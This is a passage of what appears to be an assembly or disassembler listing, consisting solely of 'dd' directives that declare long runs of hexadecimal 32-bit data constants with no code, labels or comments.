		dd 90785CBBh, 0D0E8B716h, 85044FECh, 0E2DC2E05h, 94B23BB5h
		dd 0DB138C4Dh, 1530A05Ch, 0E4C48641h, 0E9A10CBFh, 16830E6h
		dd 0E0C91F16h, 2F2D801Dh, 0E23680FCh, 122B42BBh, 5EDA21B4h
		dd 3C44A738h, 0B72EB118h, 13EB4F18h, 14B35349h,	3D10C8A4h
		dd 28C104E3h, 0D8F3A45Ch, 4CEDB40Ch, 774ADE38h,	5E762C82h
		dd 4FF90870h, 0ED2441Dh, 0FCB50837h, 75E0E8CDh,	2811D8B1h
		dd 795CE9A7h, 0E0D7CB08h, 942D33Ch, 68BAB445h, 80A960E1h
		dd 715BD561h, 48DCE2B2h, 0D898E83Bh, 0B664744Ch, 40E2DEC8h
		dd 2CE1D92Dh, 179C670Fh, 0B4371908h, 0CF171C4h,	98889DF9h
		dd 0E325100Fh, 4BD8C29Ch, 5676C204h, 1CECCAA8h,	71CD834Eh
		dd 18BEF5A7h, 0E3133D00h, 0F68252Eh, 0B92300DEh, 446B1F75h
		dd 9009673Bh, 0F96F82CAh, 2C1C00B4h, 29D4F931h,	0D0014A4Fh
		dd 0F78EE2D1h, 0B1B96882h, 98E904D2h, 6EB04090h, 17244C35h
		dd 8F800089h, 16A07C07h, 0D2062EE1h, 0A91F8A60h, 28822F8Ch
		dd 0C0587C4Ch, 2C89313Ch, 2A631461h, 82100012h,	0A7A91C9Ah
		dd 0F24949F6h, 0E8F52488h, 0B7B04Ch, 170A3EF4h,	498BB8FAh
		dd 2813BD34h, 9BD974A4h
		dd 2BE41100h, 0F02CF862h, 91240449h, 49C300ECh,	502626F4h
		dd 203BFCDCh, 4F223A03h, 118E189h, 1E3E9C20h, 0C112FC4Dh
		dd 48A0C554h, 48EF61BEh, 0C5A94240h, 12C46212h,	3CB0FE4Ch
		dd 0D1FC04DFh, 8319EDBFh, 500B77D7h, 464A09BEh,	33B41490h
		dd 0CC3FA0EEh, 27B9193Ah, 4479FB80h, 75A24C71h,	3CF9F9C2h
		dd 5881776Ah, 3028E307h, 0E1F496B0h, 0C4E92625h, 62BDF078h
		dd 1E97109Dh, 2831AC5Ah, 0E29E088Bh, 5268CAD6h,	5E6898C0h
		dd 0D7FCF074h, 4CCAE21Bh, 0A7BFF020h, 100D593Fh, 2DFD5500h
		dd 0AA91B0A1h, 0CB1FE219h, 48806669h, 61D1BC56h, 0B4A81738h
		dd 0F09B69BDh, 18686508h, 1550117Ch, 50ABB480h,	5A6784E2h
		dd 9B88AEEh, 59C47631h,	82C81664h, 6F01AF78h, 6AC80D54h
		dd 0DEB78019h, 275AD913h, 0BA93888h, 6C11CAD5h,	394C8498h
		dd 0C70ECCBEh, 7D06009Fh, 5EBDE6Dh, 75E252BEh, 6858B1A7h
		dd 14F39330h, 0B07D1B14h, 0C9A149Fh, 6B4E702h, 0F0406D2Bh
		dd 18CB63D2h, 91C0F76h,	0E2F0A83Ch, 3E00D326h, 0CB0557E4h
		dd 0A7DE0B23h, 0CC68B77Fh, 8C007E40h, 0EDC5E1D7h, 241FD606h
		dd 160EBA99h, 1688B744h, 64605A91h, 90DB2F49h, 1FC10048h
		dd 6AE8B88Fh, 0CE0E7BDCh, 16498767h, 0F7A42CC7h, 154B83C0h
		dd 0B5210059h, 0A9D8DED4h, 80175BBFh, 18163E63h, 0C5AC2A07h
		dd 68D58FC0h, 128498ADh, 2403C42Ah, 46ACEDC0h, 41AC13C0h
		dd 702B9022h, 6DC420E8h, 0DCB50615h, 0B1B781ACh, 30825F0Ah
		dd 0C62AE2D2h, 982E3449h, 0A9406524h, 809CBC69h, 22D6F1DFh
		dd 5814064Ah, 26A43527h, 7826EC50h, 827D493h, 0E01C0BE9h
		dd 0BC1692DCh, 28598A50h, 0C8449058h, 0A3DE0B75h, 0EB25B050h
		dd 0A90800B1h, 16735C6h, 6477D480h, 88DA66D5h, 41342E18h
		dd 6804B1B2h, 0DF280038h, 1AA7510Ch, 7360CB72h,	0E083BC6Ch
		dd 38E7E980h, 404CA916h, 59C0041Dh, 9B82E850h, 51292727h
		dd 37A72481h, 0E7488064h, 4EBFAC31h, 6AC928DEh,	67677E4h
		dd 0A5B194A8h, 712560E0h, 5620A2D4h, 0DF88C84Ch, 37E70D9h
		dd 0A10632C7h, 44A05377h, 0B118039Eh, 5616F843h, 10163CF3h
		dd 0A9BEE33Dh, 0C0254C1Fh, 0F732AF6Bh, 0B93EC767h, 8D007889h
		dd 69DBCB87h, 0B3F3C6Eh, 7AD37CCFh, 8590BC01h, 4E67C8BFh
		dd 0E6A13E09h, 0FC40103h, 188F4F2Eh, 38871650h,	0C710CC80h
		dd 43C93100h, 7B1069C3h, 0A2D918E3h, 0E13EB032h, 0EF81DE00h
		dd 66B12092h, 0BE98038Ah, 2930E8E0h, 65F36380h,	0F20FD403h
		dd 0E136FC2Ch, 0B100AA8Ch, 48C66369h, 58E0F085h, 3607B07Ch
		dd 81C3EADBh, 986CDF6Eh, 6105020h, 38E30063h, 0B1E9F78Ch
		dd 84004381h, 307D135Fh, 3D9A64B9h, 0E05053Ah, 0C3867F62h
		dd 15D065DFh, 0AC0080CBh, 0E4EE0CE8h, 68B1C4B9h, 3E90306Ah
		dd 9BF03403h, 72E0D11Bh, 943EB844h, 680200BEh, 0D9D28CC7h
		dd 0B0C6676Eh, 98C366D3h, 0C2C8671Fh, 10BE680Ch, 9C0352E8h
		dd 3DCF5A0Ch, 5B0D0E30h, 18878FE3h, 149D86E0h, 0F091039Ah
		dd 90A1260Eh, 0B17CCE67h, 8081F648h, 47A6AD29h,	7801ABDBh
		dd 0EE5D3B9Fh, 0A3081680h, 3CCB5AC3h, 0E36B61C0h, 0C915181h
		dd 9B84D920h, 0E83BDED8h, 2783000Dh, 0CA77B1AAh, 19FCF6EAh
		dd 0A84DD290h, 9A30203Ah, 0CE37388h, 466341B3h,	0B87A0F88h
		dd 1E630C92h, 1D9E7FA8h, 40F77A10h, 4063B607h, 46009775h
		dd 6B1A48C8h, 0A82B274h, 0BBF46E7Fh, 8EDF008Ch,	0F8758415h
		dd 90DDF106h, 148A82Ch,	0E8E36DA1h, 0CCFCD301h,	820CD808h
		dd 207E0D90h, 63AD2830h, 18B348D4h, 65C5024h, 9924060Fh
		dd 580E49h, 0E1AB8CFAh,	0A3C444D9h, 0F890A88Ch,	0D429C19Bh
		dd 25F77FEDh, 40A40238h, 0E83F4044h, 0F9C00305h, 0C25F31F2h
		dd 6B08812Dh, 0F848A506h, 0D0E05430h, 39D13C68h, 10D0781Ah
		dd 8E37B883h, 0DE7283Eh, 61F0EDCFh, 16CBD0h, 0BA9637E3h
		dd 0BB3BEF74h, 0F843992Bh, 80030F12h, 76030D34h, 313F0008h
		dd 33EFD5E8h, 0C490F1BCh, 6560D974h, 0EB5A3530h, 87450EECh
		dd 0D198D0CFh, 47003F43h, 77379BD8h, 0BF737Eh, 689BCEBh
		dd 46B1FA39h, 0DDF8F701h, 0D56C374Fh, 19CA0031h, 0B821E8h
		dd 7931DD4Ch, 98B26B1Ch, 6263F180h, 342F848h, 0ED6F0D4Eh
		dd 0E9008C92h, 283F16D3h, 6DD5620h, 0AFD91158h,	30A9487Bh
		dd 8C4004B1h, 83625A8h,	48C87CA5h, 7098C847h, 0F506C346h
		dd 5435D942h, 33C0030h,	509CCFA5h, 86306F39h, 5E188B1h
		dd 612F603Ah, 30870E62h, 0C0DF19F4h, 0F37D9482h, 9F1541F8h
		dd 38205BE5h, 34F900D5h, 0F76FB197h, 0FC4869C6h, 0C9390104h
		dd 7719EDEAh, 0D9080504h, 0DE884347h, 0A7E2303Ah, 4442646Ah
		dd 629E1090h, 1D2CD360h, 0EC9110CBh, 0C1066AAAh, 93296138h
		dd 0D9EBE8C2h, 1808FE33h, 667AF0E0h, 0E6603EDDh, 5C64510h
		dd 0F14840D1h, 9006C821h, 0DA264823h, 78028F7Ch, 9013EC84h
		dd 0F2D68AD0h, 6C13F1E2h, 0E51D4864h, 6EEBB241h, 4083CAB8h
		dd 0AC57303Fh, 69125800h, 8DF64740h, 0FD2B06E7h, 0B19F216Eh
		dd 0A4020BE6h, 0B5D9C938h, 0EDD48595h, 0FC496F84h, 0CDD882E3h
		dd 2CA009BBh, 82308986h, 8F600460h, 78A544ADh, 32AA1A1Dh
		dd 144008E1h, 0FCAA8A06h, 86F78040h, 65A2E08Bh,	0F3870018h
		dd 90DCC950h, 0E0C09780h, 66158D94h, 864F3BA0h,	0B1BB9C09h
		dd 1A6EA838h, 282349h, 7B9E82AFh, 670B1h, 2913A6A9h, 288B3040h
		dd 121530C0h, 6FF77Eh, 0F1F31E8Ah, 0C11B9084h, 797F98C0h
		dd 0E42FEFh, 0B16C55C7h, 0C462D661h, 6AB4D58h, 0AA6D9BEh
		dd 58E32478h, 56343AA0h, 8080308h, 0EF1C58Bh, 0D7148063h
		dd 0A1463A01h, 0F46CE465h, 3531CFEAh, 2C0FB749h, 297A3CFh
		dd 934BD997h, 9022948Eh, 0D84844D5h, 2DF0DEFFh,	42106560h
		dd 53BA12Eh, 5D6EDAE8h,	58C8008Ah, 0A844013Fh, 0FF9224Ch
		dd 0C120C792h, 10CAE85Ch, 7BD95060h, 489C88B1h,	87B5DD39h
		dd 0FDC55B6h, 0C5710726h, 88C5DE60h, 5C90ED80h,	0AE5DF898h
		dd 3C6B1E44h, 23A51509h, 0E4634490h, 3602E600h,	0D260806Eh
		dd 0B1189210h, 0FFA20B4Eh, 1C82B009h, 684079DBh, 0FB6929D9h
		dd 36882238h, 7D882DDh,	0C0BB05B9h, 0FCD99478h,	7C281560h
		dd 0B26FE353h, 3B48B090h, 9C2CBE5Ch, 9581038h, 806FF19Dh
		dd 0BAEF460h, 0F04E4C4Ch, 474F5300h, 6EE150D4h,	7C921B7Eh
		dd 0DB16EB01h, 10796708h, 0CC08DC45h, 0FB3B1F62h, 29A53189h
		dd 88FE4480h, 600EF39h,	0A115BCA4h, 0F0C5C842h,	9908A08Ch
		dd 58D55868h, 0C6965300h, 0FB76B1D7h, 9E83C000h, 3B690FF0h
		dd 17AC024Dh, 2C8C90FAh, 6E02D4C8h, 68267224h, 0B8985818h
		dd 0BBE30B4Bh, 770143A1h, 25FC5EEDh, 0D12082C8h, 6690913Ch
		dd 0F98C061Ch, 992DF447h, 408A451h, 0EDACC183h,	0A0300016h
		dd 5838C091h, 0D977D2D8h, 4833BA34h, 49909CCCh,	4204043Ah
		dd 0C2EEA136h, 94808D04h, 25DA6EAEh, 21F0B0C4h,	1C44CF84h
		dd 40167A22h, 5E166408h, 301821D8h, 8378941Bh, 1FD71C7Dh
		dd 2F8D0D9h, 0B9A035D6h, 0DE58E850h, 2CD1EC38h,	80EC9B6Eh
		dd 5C5A9235h, 30F14826h, 0A0AB0418h, 5137D9C0h,	4601E41Fh
		dd 8307C616h, 475FD313h, 0D0607C34h, 75B85Bh, 0FD48B474h
		dd 6AFC5220h, 0B1AC061Dh, 307851C2h, 0B9F8C9C6h, 0B000E071h
		dd 1702B98h, 0C1894664h, 945053D9h, 8884B5B0h, 4E8895Eh
		dd 6AB31048h
		dd 0AC42632Eh, 7258388h, 838EF347h, 100D59CEh, 71DBCCAFh
		dd 7E1860h, 0F36AC09Bh,	86D83B68h, 0A8139572h, 6C0B3729h
		dd 0B3A003Dh, 0BFC8A97h, 0B6329E61h, 78397C03h,	0D5738690h
		dd 1319DF00h, 18EC5E2Ch, 92CD4C95h, 803F481Dh, 8050D08Ch
		dd 0AD3E0646h, 9E10051h, 9088DC08h, 98196056h, 8B6E7C71h
		dd 68BCD750h, 0ED6B2005h, 0F044FAADh, 9CC0DFAFh, 5C5BBA95h
		dd 40740491h, 0B601AA08h, 64F487C0h, 0A4603F94h, 73CA7CF0h
		dd 85143A34h, 0E242300Ch, 4E81B7F8h, 14284C71h,	6210BC59h
		dd 6CB10004h, 0E36BBFEEh, 5435E790h, 1A376070h,	28AB5430h
		dd 0A118C1h, 72DD0CA0h,	50E2613Eh, 41085FD9h, 72802D4h
		dd 0B8B4D3C4h, 4D10B25Ah, 0D909DC32h, 0C48988D1h, 0B9C3E803h
		dd 0B57A4388h, 35767103h, 34DD3D9h, 9AA0AE30h, 50A80E63h
		dd 6098E0EAh, 0F9C8E720h, 0A210A426h, 0DB470016h, 2629E77Fh
		dd 25B978ADh, 0FC0491F8h, 3AB81506h, 0E7DF80C7h, 76E712Eh
		dd 0DA18C0E0h, 334E140Eh, 8A4430EFh, 9DB8D302h,	0E83E3020h
		dd 0A433158h, 81DE483Fh, 9353136Ch, 0C4B9122Ch,	730C2C13h
		dd 0ED06A8B3h, 2CB1B5E6h, 88D8D0BCh, 0B89787F4h, 2CD9C003h
		dd 8E104812h, 0BA2EAF09h, 54036029h, 43D58530h,	0A8126BDCh
		dd 6490F0D0h, 0F05016F1h, 869492B7h, 0D9A92040h, 16FBF01Eh
		dd 9AF7940Bh, 0D0105840h, 2058F839h, 46069842h,	38E281F7h
		dd 990D90Ch, 81F1197Eh,	2BE601CBh, 41145060h, 87884443h
		dd 0D51D0840h, 0BE34F87Fh, 0C0071056h, 0A1BF312Ch, 7147B2EAh
		dd 0A7F0E5E5h, 3E337C24h, 6B1FAFD1h, 66E08F68h,	0E31B31E0h
		dd 19203038h, 91B17EA9h, 50350404h, 1138B3D4h, 5078DC48h
		dd 0E26EB004h, 204A60ECh, 0BCD9094Fh, 0E406A1CAh, 0AC96502h
		dd 8B5C61D0h, 9CA02444h, 80392090h, 8DDD071Eh, 0A1BC0E0Bh
		dd 55DFD9A8h, 6B104889h, 0F3F804C8h, 0E28A6E19h, 16EC9A48h
		dd 4A3D1881h, 60DF5036h, 0C96C9380h, 0B064B528h, 98860E00h
		dd 2D5AD289h, 0F0DCE84Fh, 1A6F010Fh, 4A6ED9F0h,	0C030A44Eh
		dd 0B2BE0039h, 5FF88BA3h, 86CE02BCh, 20D99C8Eh,	3DDD2848h
		dd 89619F3Ah, 6AB302Ah,	2EA93A40h, 884FAE8h, 8400933Bh
		dd 0B87A72B1h, 58DB02B0h, 0FF80D92Dh, 409570E9h, 0AB1949ACh
		dd 535110E4h, 68F80278h, 48C9F0A9h, 89214DAh, 6804E858h
		dd 508F306Eh, 1303EC0h,	2C74C049h, 6E865074h, 18E1513Ch
		dd 20EB6030h, 41023F64h, 92ACD9C9h, 70046015h, 0B9B30F82h
		dd 7D841D68h, 0B830C3A0h, 306E6839h, 901980B6h,	0F8EF63D1h
		dd 0E7F8FD47h, 0D0DD004h, 5A12A08Bh, 27BEF7F0h,	30143CEFh
		dd 0A18FB509h, 300C3069h, 0F464F7B3h, 480100DBh, 0A11816C8h
		dd 4D4A6E6Ah, 8A64A000h, 43BF3Fh, 24EBBEECh, 8FA2D9F1h
		dd 7087A8D3h, 4857883h,	988E0510h, 1E988058h, 0B6CF70B2h
		dd 71A687F3h, 6E7DDC0h,	0D628C3A0h, 39490AD9h, 97900044h
		dd 40218076h, 84770B3Dh, 5681E8A7h, 60EA45E4h, 0FF048C7Ch
		dd 19928EEEh, 9F5324C0h, 20A75CB0h, 0FC6B510h, 6BB48B2h
		dd 5C109C86h, 9E0541CFh, 969EBD9h, 0BC842988h, 24609A3h
		dd 519A6368h, 10359258h, 0D684A060h, 3101C690h,	0EC96A090h
		dd 66880E09h, 0A80803D0h, 2ED5D9C3h, 90DB1006h,	38B88Bh
		dd 27F6CD80h, 0FE25D9E1h, 68DC20C5h, 8746FCC0h,	5D3D00C3h
		dd 82580B14h, 2B01CC1Fh, 0D904F0CBh, 30A613A0h,	0D707C004h
		dd 2216A782h, 7804D63Ah, 0B202F5DFh, 28C1C878h,	9146086h
		dd 0AD716E10h, 91C3EE16h, 0E1D16724h, 583067FBh, 0A4214A20h
		dd 1880BAF5h, 0BD6208E8h, 0D916D38Ch, 348682F9h, 886E2651h
		dd 0D80BCD0h, 485D612Dh, 730415DBh, 0A36E5152h,	846648B1h
		dd 3CB72Ch, 7F6DF19Bh, 0B626FAF8h, 8303CBFh, 0B9D2C7AFh
		dd 26328580h, 6E8891A1h, 0C051A8DFh, 5851E864h,	0F6A184D0h
		dd 5465EF90h, 0E6B4E2DAh, 24A4909Ch, 701C0Ah, 0C75A7D35h
		dd 3100C3D6h, 0DAC83D55h, 9E8E406Eh, 52324D6Ch,	0A0D80188h
		dd 0EC70902Ah, 6302E494h, 0C89B8130h, 7E3C6DB4h, 0DC6E189Eh
		dd 0AF3848A8h, 62A27F07h, 902169D5h, 0A080C8AAh, 7464B1A0h
		dd 0A87177E9h, 8A522A62h, 0CF4841C3h, 1FA487D0h, 16F3D48h
		dd 0EFD9C485h, 0A9C040B9h, 0BF1CEB20h, 106DBE6Eh, 3EA80E38h
		dd 6F78FC50h, 7AC01844h, 0C299DC93h, 2C4CB100h,	90D248E1h
		dd 0C86B64E6h, 1743C596h, 485422B8h, 982C6009h,	1DE7E66h
		dd 0AEBDE67Eh, 0E870F1B6h, 5001B186h, 0A597E407h, 51845590h
		dd 0C2598D30h, 284635D4h, 99F13E20h, 5E9788C8h,	0CEC44800h
		dd 2471FF5Ch, 2DB8D46h,	0BBFCF36Fh, 0EA141C48h,	313CFAFAh
		dd 82C2852h, 0DED86C03h, 0E89047A9h, 0FB8C95h, 0CF06837Eh
		dd 6E352DA8h, 78A1FF30h, 74586C01h, 0D9970CD3h,	0D29857B5h
		dd 62C9248h, 4EE190DAh,	0C30E790h, 356C2C0Fh, 3240BCA4h
		dd 0D811A861h, 0BC2CF96Eh, 0D6019916h, 0D7062854h, 7FA9D9C6h
		dd 2DB20860h, 0E20894C8h, 1AF612B7h, 30828C68h,	9471AC75h
		dd 0AC1E0413h, 0C89F2EFCh, 882074A8h, 0ED650BA9h, 0C8A2D607h
		dd 9B04D54Bh, 0F8CC4C2h, 0E6DB1205h, 619C54B4h,	7F508B40h
		dd 0D40C500Eh, 16040D9h, 0F625B490h, 0B6E8A42Eh, 0BE5DD903h
		dd 1AC5858h, 44981FAh, 14221830h, 42656D0Ah, 0D5D8890h
		dd 1CD99D02h, 0A68C6826h, 6E630CC5h, 0D5A02952h, 4CD9A008h
		dd 0C2193E6Fh, 2150181Eh, 0DCE0E074h, 0F839A8C2h, 0D94CE8FDh
		dd 30E560D0h, 0B126F0D8h, 3025484Fh, 7B045C05h,	1E089C14h
		dd 550010AEh, 0F93D6294h, 0F19F0BE5h, 0B58C8DDCh, 0B95C57F8h
		dd 5E8A1C4h, 64068022h,	18F9186Eh, 3338FCEDh, 730150Dh
		dd 1C60F9DEh, 99A8E6AFh, 93D8A254h, 0E6504B4h, 0DC8E384h
		dd 589B736Eh, 0F0B2822h, 6CC458A8h, 3FF09018h, 7EDA7A10h
		dd 0C7FD0084h, 0BC32E854h, 0A448EB87h, 0CA2207E4h, 2AC0AA23h
		dd 48056309h, 0DC019CF7h, 68B25593h, 8E0A03Dh, 0F4483A00h
		dd 4FEA3179h, 7425F57Ch, 0DF04DC3Ch, 8D30D00Fh,	3C2EE478h
		dd 0C47F2C1Ch, 0B3B7D5Dh, 813F4731h, 0E70460A4h, 0D0A586FCh
		dd 534A0858h, 0B4BC1490h, 28E92610h, 0C899D00Eh, 0B49B8C22h
		dd 0A0AC8604h, 5E9490E0h, 6D7C05CFh, 0E88D10Ch,	0DB88D273h
		dd 0D561C0D4h, 2A0040DFh, 3BC40FD9h, 452C664h, 0C83F46B9h
		dd 0B62085FCh, 8C900C40h, 97F4070h, 0E85E9F08h,	0B01084C3h
		dd 56023414h, 9CBBAF85h, 0C4F09Ah, 3E3DF080h, 8709F878h
		dd 2B2DDC90h, 8AB4007Ch, 0F0090FA7h, 507AB8C8h,	0F59D08A2h
		dd 6E0D3029h, 0F890CC63h, 0BCAC2331h, 4C187701h, 0D3FE3010h
		dd 3C6E5424h, 9E2CF85Ah, 1A3F00C8h, 4FB98840h, 10D439E9h
		dd 0F0005ACFh, 0C8A806E1h, 580FD21Eh, 0C0961D9Dh, 0AFAE78A2h
		dd 0BC210BC4h, 0A8428102h, 5842F04Bh, 20344CACh, 0EEDA17A0h
		dd 1475CBh, 0A13FDD68h,	0C0206E69h, 84AC96CDh, 0B239580Fh
		dd 402D7840h, 90249033h, 5CC54CEAh, 0D7D53C78h,	10D8EB18h
		dd 6528B997h, 0C4503464h, 7B006248h, 0DC35E212h, 1D15C2E9h
		dd 0FAEDD8h, 31A7376Dh,	0CA7C5784h, 0E26AB700h,	4F42A0BAh
		dd 0C7EDE82Dh, 40A20730h, 0C6258C59h, 720D3109h, 629300E2h
		dd 7C90B82Fh, 0E8B00066h, 0F9A6C242h, 6A72DFB9h, 3505E70Ch
		dd 0D82084h, 0CE399B10h, 61F7DED4h, 754FF63Ah, 3757DC00h
		dd 9FA8B56Fh, 313E30D8h
		dd 0C28A0768h, 420CB871h, 49F7F1AEh, 205360DFh,	352AE528h
		dd 8F4D6D1Bh, 8B94D0C8h, 0F43A12B0h, 3470000Eh,	871A0843h
		dd 730145F6h, 5762FB0Dh, 0B1D8680Ch, 93D8189Ch,	0A9AD9889h
		dd 45769F00h, 63F0C481h, 8F900060h, 3DA50580h, 981E91B5h
		dd 9D8C7C30h, 1995D8BDh, 904DF6D8h, 838C470Fh, 1076294Bh
		dd 18BE0E1Eh, 0A4EF94h,	0CE1EA96Dh, 1DA0027Bh, 764323Eh
		dd 80279359h, 2F4280B8h, 995C8C0Eh, 1D308039h, 0F4A5175Dh
		dd 1BA0EC4Dh, 78AE468Fh, 0E7D005C5h, 19B02002h,	0C2003C74h
		dd 38B28057h, 513A8F1h,	316DF24Eh, 9012D9h, 37C4C633h
		dd 0B76E6ABFh, 429001B0h, 5B2125F5h, 8882CEC9h,	0BCDDD85Ah
		dd 8F008C8Ah, 9A83A8B6h, 78A0B0B8h, 0EC00A355h,	387330BEh
		dd 11BC647h, 0B599A910h, 8805399Eh, 4B671B0h, 800FFAEFh
		dd 6240B030h, 2D91C660h, 1269F249h, 104718F0h, 61000818h
		dd 75B9CF3Ch, 12018FD2h, 9E997BD5h, 944198BAh, 0F885178Eh
		dd 4620F57h, 0CFD93BCh,	6F9C110Dh, 0EDC9C0BEh, 0EFD17000h
		dd 6850B023h, 4EF28F40h, 1804A0D4h, 451867AAh, 60CE0085h
		dd 277D623Dh, 9E7B8FD9h, 0EE7428C0h, 282FB7ACh,	31D453C6h
		dd 0F59088BAh, 9010B567h, 824F9032h, 9820EF84h,	8169523Ch
		dd 91BC404Fh, 0DE3615D2h, 8ED008E1h, 0BC0E1A94h, 48F310Ah
		dd 5E676A05h, 72211F20h, 19003D11h, 9004D235h, 721520A8h
		dd 2F0047EAh, 0C18F456Ch, 0F27AF3CEh, 668020DDh, 9C5A0D28h
		dd 602F49h, 2B698C05h, 3FC764E1h, 854D2CBh, 0E7DA09C3h
		dd 402430C4h, 95D8986Bh, 99D36E00h, 527B15F2h, 6D6909E2h
		dd 38A4E873h, 9E7A0FDAh, 0C88E45C7h, 1EC74C07h,	84084706h
		dd 0E174A1A0h, 0B5033080h, 1D6DE331h, 0EF48BA63h, 830DE0EAh
		dd 5F80282Fh, 62F038C0h, 51F74780h, 0D9C0B7Eh, 0B026DC90h
		dd 0E60050C0h, 30DECAACh, 5910C2F8h, 80AC01A2h,	53018A90h
		dd 6D296A4Eh, 6892CE2Ch, 7100432h, 0EC28809Dh, 81D4CF21h
		dd 0A83C02ECh, 80921722h, 0BE8569F7h, 20F8AE9Dh, 0F700A399h
		dd 2763DAC2h, 1130825h,	87A9E9EFh, 50F1BDD2h, 4F35DF98h
		dd 0AD206DF2h, 3671DD3h, 50399AD8h, 0D2A59F60h,	9202BF7Ch
		dd 798F8C15h, 6A644875h, 250E18D3h, 5B2F1024h, 0B08C5850h
		dd 0DBC8410Bh, 3B7D0712h, 81F6985h, 92C48FFh, 83BE923Ah
		dd 0C1354500h, 8934962h, 14AC1436h, 2FDE6D82h, 184F6460h
		dd 3877B800h, 8F82D207h, 785B6028h, 9DA741C3h, 1A48048h
		dd 89BEADF2h, 98240E67h, 28F55047h, 0D7A10005h,	0C761C218h
		dd 7F306DF6h, 9130F893h, 111C20D8h, 27EFD51Eh, 1057B50Ch
		dd 0B29906D2h, 0A9388015h, 0D8303A12h, 0FD703600h, 0C6550B6Dh
		dd 8C24B48h, 29416635h,	4D32CC46h, 0A4E54C08h, 0A140A68h
		dd 0BE508897h, 902E4301h, 0E3FFEF18h, 0B00814F5h, 3B4E8210h
		dd 382F8AA4h, 0D839B869h, 2EDB1000h, 6C07348Bh,	813EC7F3h
		dd 0E0958078h, 0EAE8A8E1h, 6B9424F1h, 570EB89Ah, 878350ECh
		dd 31C96A0Dh, 1430EF28h, 46170132h, 0C38FDCD7h,	4EB881ABh
		dd 0E6686DCDh, 413E2886h, 8C9F125h, 8EC8236h, 7478C6B3h
		dd 0D89B4D69h, 2ECCAC7Bh, 69084A03h, 0A88F2C01h, 7CC430E4h
		dd 12A90101h, 375AD88Ch, 0E0207865h, 8FE009D4h,	42522A4h
		dd 9E58060h, 0ECB84234h, 0E812603h, 0C0C1F4A9h,	4DBCD81Eh
		dd 0E6705044h, 839CA0D0h, 0E80D835Dh, 0D0F1566Dh, 0B0AD97C0h
		dd 401348F8h, 200E126h,	618C8FD8h, 0DBCAB048h, 0FA1F673Dh
		dd 0AC585568h, 5C03CE96h, 5CDD72Fh, 650569E0h, 8F856C7h
		dd 212F564h, 0D89A8001h, 99B14612h, 0E2663E89h,	0C3888F01h
		dd 0DB468440h, 13EE0491h, 14811D8h, 5897A805h, 481744E8h
		dd 0CF0418D7h, 0C07006A0h, 8F3BD64Ch, 78AD083Eh, 0D908DF50h
		dd 0BA6536FEh, 0C40145A8h, 0F7D8046Fh, 0DE5802C3h, 0A8BA2967h
		dd 0EC12A04Eh, 0C31A970h, 0A982643Eh, 0B76B1167h, 0C184EC63h
		dd 710DF5CCh, 0E915E1ECh, 184C2057h, 0E5448F19h, 5CC16BD0h
		dd 0C0DC1BE0h, 0DEDA4710h, 500A4160h, 80FFDF6Dh, 4F31AC99h
		dd 5D6A820h, 616CF114h,	37B601EAh, 20804273h, 0A874D978h
		dd 0AC68A000h, 6FB19EA5h, 0F2EE1E8Bh, 0D82B0B04h, 0A69C9808h
		dd 0F6E1077Ch, 838BBFF7h, 0ADDA40A7h, 0A448EAA8h, 0C35C860Dh
		dd 0F5348E7Ch, 8FD40684h, 5918A129h, 9985A09Eh,	684488B1h
		dd 0C248EC18h, 0B25437C9h, 6DD70A9Ch, 859C85FFh, 0D30ED83Bh
		dd 38780F08h, 107E5330h, 465537h, 159040FAh, 2FD147B1h
		dd 88C01D71h, 4B3EE68Ah, 9505012Dh, 7A09E9A4h, 0B26DD0E7h
		dd 595C1F48h, 396485DCh, 0F082D825h, 0C2470017h, 7C01CBF2h
		dd 2FB885C5h, 2C306099h, 68C85D1Dh, 26EFD402h, 80A58034h
		dd 98781181h, 0B00F6D1Eh, 0BED83FD1h, 30242D41h, 184750B0h
		dd 0A80AA30h, 0A0A824F4h, 306E0E20h, 95B1E5DCh,	9048BAA0h
		dd 924610A4h, 13989078h, 0A0F6593h, 0ABCB218h, 34CF447h
		dd 3B368FD3h, 7C78D828h, 2845B007h, 6723F5BEh, 816DC237h
		dd 0F0473808h, 901A3863h, 60C0C9F8h, 0C44CA705h, 393D88E8h
		dd 59958960h, 39DC7749h, 144C9D50h, 248FED8Bh, 98209689h
		dd 98BAE862h, 3301B891h, 4A6DD44Fh, 5C2072D3h, 0B8807079h
		dd 0CAE397Ch, 0D8109A61h, 502087B7h, 1CA25805h,	14C52F82h
		dd 0C33C5723h, 5541706Dh, 59E4DC49h, 0E530C2B2h, 0B46B352Bh
		dd 80F4D0DCh, 2F00E6A0h, 0AEA404B5h, 3C374E19h,	0AF00F877h
		dd 984DCF35h, 8730D807h, 0B773682Eh, 0BD75202Fh, 9105B09Ah
		dd 1E763B8h, 43B2B820h,	414C62h, 0CE943A05h, 6B80C1F0h
		dd 0F464F20Bh, 40C2B8FCh, 4056482Fh, 12571938h,	4682DE6h
		dd 1F325CB0h, 440B0253h, 551C83F7h, 1D83AEAh, 461CDB40h
		dd 2F86F010h, 1809943h,	0C98B083h, 4086EDD8h, 2AA3049Ch
		dd 0BA6048F0h, 20DDD710h, 0DA80571h, 4BE2142Fh,	4898A0BCh
		dd 4348B099h, 3378C65Ch, 2773ECE1h, 582FF2EDh, 0F7C9253h
		dd 28648061h, 0B74D1314h, 7764F454h, 186C1558h,	9F4848C3h
		dd 0E66E0019h, 3FE21304h, 0E062972Fh, 8646B130h, 341D0CCh
		dd 28E75230h, 0CD8297D2h, 0D8948C48h, 17589B5Dh, 1004ABADh
		dd 70CD43BDh, 0F184882Ch, 0D6E0D1EFh, 3C360CD3h, 83A80653h
		dd 56C70798h, 8C072F33h, 0FF008E38h, 55A2001h, 3F7274A9h
		dd 0D68017BAh, 0D929E786h, 60E99F1Bh, 0C13C7A23h, 386787EDh
		dd 0EF266D63h, 1F910068h, 2FE755C6h, 0F906AF56h, 3BA2D8FDh
		dd 8C450090h, 9B6EB0C1h, 6300819Dh, 56B1757h, 0E0E7287h
		dd 0C047365Dh, 21814E0Fh, 744DA985h, 68631B10h,	0A03972E0h
		dd 639C92h, 0B996800Ch,	0D803EE74h, 0F8973428h,	0C9A68F02h
		dd 7126E2B5h, 95BAB0F8h, 1D2AEC6Fh, 24948CF2h, 19E80CC9h
		dd 3D602424h, 0C674008h, 0A4140768h, 27C8B6C2h,	0EC54A29Ah
		dd 67B802AEh, 3F0C4C7Bh, 8DF97Dh, 0F677B0C3h, 8FC4DD83h
		dd 28C0A5E8h, 0A782DE07h, 0D5341D29h, 63740DFh,	6DFECF41h
		dd 0EC14FA26h, 8007502Ch, 0E9B58FDDh, 0E7EF9081h, 0E8297061h
